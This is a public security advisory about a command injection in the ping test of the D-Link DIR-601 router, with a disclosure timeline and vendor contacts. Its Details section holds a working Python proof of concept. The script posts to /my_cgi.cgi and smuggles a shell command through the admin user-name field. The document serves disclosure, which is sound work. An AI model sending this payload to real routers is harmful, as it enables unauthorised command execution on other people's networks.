Dlink DIR-601 Command injection in ping functionality

[samhuntley84@xxxxxxxxx]

## Advisory Information

Title: DIR-601 Command injection in ping functionality 
Vendors contacted: William Brown <william.brown@xxxxxxxxx>, Patrick Cline 
patrick.cline@xxxxxxxxx(Dlink)
CVE: None

Note: All these security issues have been discussed with the vendor and vendor 
indicated that they have fixed issues as per the email communication. The 
vendor had also released the information on their security advisory pages 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061

However, the vendor has taken now the security advisory pages down and hence 
the information needs to be publicly accessible so that users using these 
devices can update the router firmwares. The author (Samuel Huntley) releasing 
this finding is not responsible for anyone using this information for malicious 
purposes. 

## Product Description

DIR601 -- Wireless N150 Home Router. Mainly used by home and small offices.

## Vulnerabilities Summary

Have come across 1 security issue in DIR601 firmware which allows an attacker 
to exploit command injection in ping functionality. The user needs to be logged 
in. After that any attacker on wireless LAN or if mgmt interface is exposed on 
Internet then an internet attacker can execute the attack. Also XSRF can be 
used to trick administrator to exploit it.

## Details

Command injection in dir-601
----------------------------------------------------------------------------------------------------------------------
import socket
import struct

# CMD_INJECTION_INPINGTEST
# Just need user to be logged in and nothing else


buf = "POST /my_cgi.cgi HTTP/1.0\r\n"
buf+="HOST: 192.168.1.8\r\nUser-Agent: 
test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\nAccept-Encoding:gzip,deflate,sdch\r\nAccept-Language:en-US,en;q=0.8\r\nContent-Length:101\r\n\r\n"
buf+="request=ping_test&admin3_user_name=admin1;echo admin > 
/var/passwd1;test&admin4_user_pwd=admin2&user_type=0"+"\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("IP_ADDRESS", 80))
s.send(buf)
----------------------------------------------------------------------------------------------------------------------

## Report Timeline

* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William 
Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the 
vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.

## Credit

This vulnerability was found by Samuel Huntley (samhuntley84@xxxxxxxxx).